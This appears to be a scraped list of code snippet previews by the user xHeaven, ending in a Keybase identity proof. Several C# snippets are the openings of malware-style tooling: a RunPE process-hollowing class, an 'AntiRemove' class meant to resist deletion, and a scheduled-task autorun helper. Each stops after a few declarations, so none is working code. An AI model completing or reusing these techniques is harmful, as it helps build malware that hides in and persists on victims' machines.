xHeaven

namespace Protected
{
    using System;
    using System.Runtime.InteropServices;

    internal class Program
    {
        [DllImport("kernel32.dll")]
        public static extern bool ZeroMemory(IntPtr Destination, int Length);
        [DllImport("kernel32.dll")]

xHeaven

using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;

public static class DynamicCallRunPE
{
    private delegate bool CreateProcess_Delegate(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, IntPtr startupInfo, IntPtr processInformation);
    private delegate bool ThreadContext_Delegate(IntPtr thread, int[] context);
    private delegate bool ProcessMemoryIntPtr_Delegate(IntPtr process, int baseAddress, IntPtr buffer, int bufferSize, int bytesRead);
    private delegate bool ProcessMemoryByte_Delegate(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, int bytesRead);

xHeaven

<?php

$data = array();

//This is an associative array with named keys as indexes

$data['Version'] = '1.0.0.0';
$data['Hash'] = '85f6ee768c10f9c09931a6ae2a94a395';
$data['Addition'] = 'Implemented multi threading, remove redundant code';
$data['Link'] = '/update/myapp.exe';

xHeaven

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

static class AntiRemove
{
    const uint GENERIC_READ = 0x80000000;
    const uint DUPLICATE_SAME_ACCESS = 0x00000002;
    const uint FILE_SHARE_READ = 1;
    const uint OPEN_EXISTING = 3;

xHeaven

 class Program
    {
        static void Main(string[] args)
        {
            TaskAutorun task = new TaskAutorun("TaskTest");

            task.Author = "Pskwsk";
            task.Description = "Dream Softwares";
            task.Version = "1.0.0.0";
            task.Path = "cmd.exe";

xHeaven

public class TaskAutorun
    {
        public string TaskName { get; set; }
        public string Description { get; set; }
        public string Author { get; set; }
        public string Version { get; set; }
        public string Path { get; set; }

        public TaskAutorun(string name)
        {

xHeaven

 public class COMObject
    {        
        private object self;
        private Type COMType;

        public static COMObject Create(string name)
        {
            return new COMObject(Activator.CreateInstance(Type.GetTypeFromProgID(name)));
        }

xHeaven

using System;
using System.Net.Http;
using System.Threading.Tasks;
using System.Text.RegularExpressions;
using System.Threading;
using System.Collections.Generic;
using System.Linq;

using Microsoft.ClearScript.V8;

xHeaven

Keybase proof

I hereby claim:

• I am xheaven on github.
• I am breached_ecl1pse (https://keybase.io/breached_ecl1pse) on keybase.
• I have a public key ASDVCriIs_fMWirHLbC99PilQAOvcn8UBWCueTfQSL0n7Qo

To claim this, I am signing this object: